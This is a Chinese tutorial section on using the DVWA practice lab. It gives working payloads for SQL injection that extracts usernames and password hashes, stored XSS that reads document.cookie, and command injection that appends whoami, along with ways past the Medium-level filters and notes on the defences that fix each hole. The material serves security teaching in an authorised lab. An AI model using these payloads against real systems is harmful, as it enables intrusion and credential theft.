DVWA靶场 使用方式与典型场景
四、使用方式与典型场景
下面三个示例覆盖注入、跨站脚本、命令注入。所有 payload 仅用于本地靶场,真实系统必须先拿到书面授权。
示例一:SQL 注入(Low → High)。Low 档下,输入框直接吃参数,先用单引号触发报错确认注入点,再用联合查询取数据:
# 1) 确认注入点:页面报 SQL 语法错误
1'
# 2) 判断列数(依次加直到不报错)
1' ORDER BY 2 #
# 3) 联合查询取用户名与口令哈希(列数按上一步结果对齐)
1' UNION SELECT user, password FROM users #
# 4) Medium 档做了转义与黑名单:用 Burp 之类代理改包,
# 或改用不带引号的数字型位置;High 档加了 LIMIT,
# 可用注释符截断后半段语句:
1' UNION SELECT user, password FROM users #
示例二:存储型 XSS。留言板(XSS Stored)提交的内容会被存库并在每次打开页面时渲染。Low 档直接提交即可触发;Medium 档把 <script> 整串替换掉了,可以换标签或换事件属性:
# Low 档:直接提交
<script>alert(document.cookie)</script>
# Medium 档:str_replace 只吃 <script> 这一个串,换标签即可
<img src=x onerror=alert(document.cookie)>
# 想验证危害,可以先在浏览器控制台看 document.cookie 是否可读;
# 若 HttpOnly 未设置,会话 cookie 就能被外带——这正是要修的点
示例三:命令注入。模块接收一个 IP 去 ping,Low 档直接拼进命令:
# Low 档:分号拼接,第二条命令照样执行
127.0.0.1; whoami
# Medium 档:过滤了 && 和 ;,可以换用管道或其他分隔符
127.0.0.1 | whoami
# 防御侧对照:Impossible 档用 escapeshellarg() 包裹参数,
# 并在白名单里校验「只允许 IPv4 字面量」,两者缺一不可
适合与不适合的场景:DVWA 适合代码级理解漏洞成因、对照学习防御写法、给新人做安全意识的第一次实操;不适合当作「渗透测试综合演练平台」——它没有真实业务逻辑、没有多级权限体系、没有 WAF/风控对抗,练不了横向移动、域渗透这类场景,这些更适合在授权的内网靶场或 Vulhub 那类真实 CVE 环境里做。

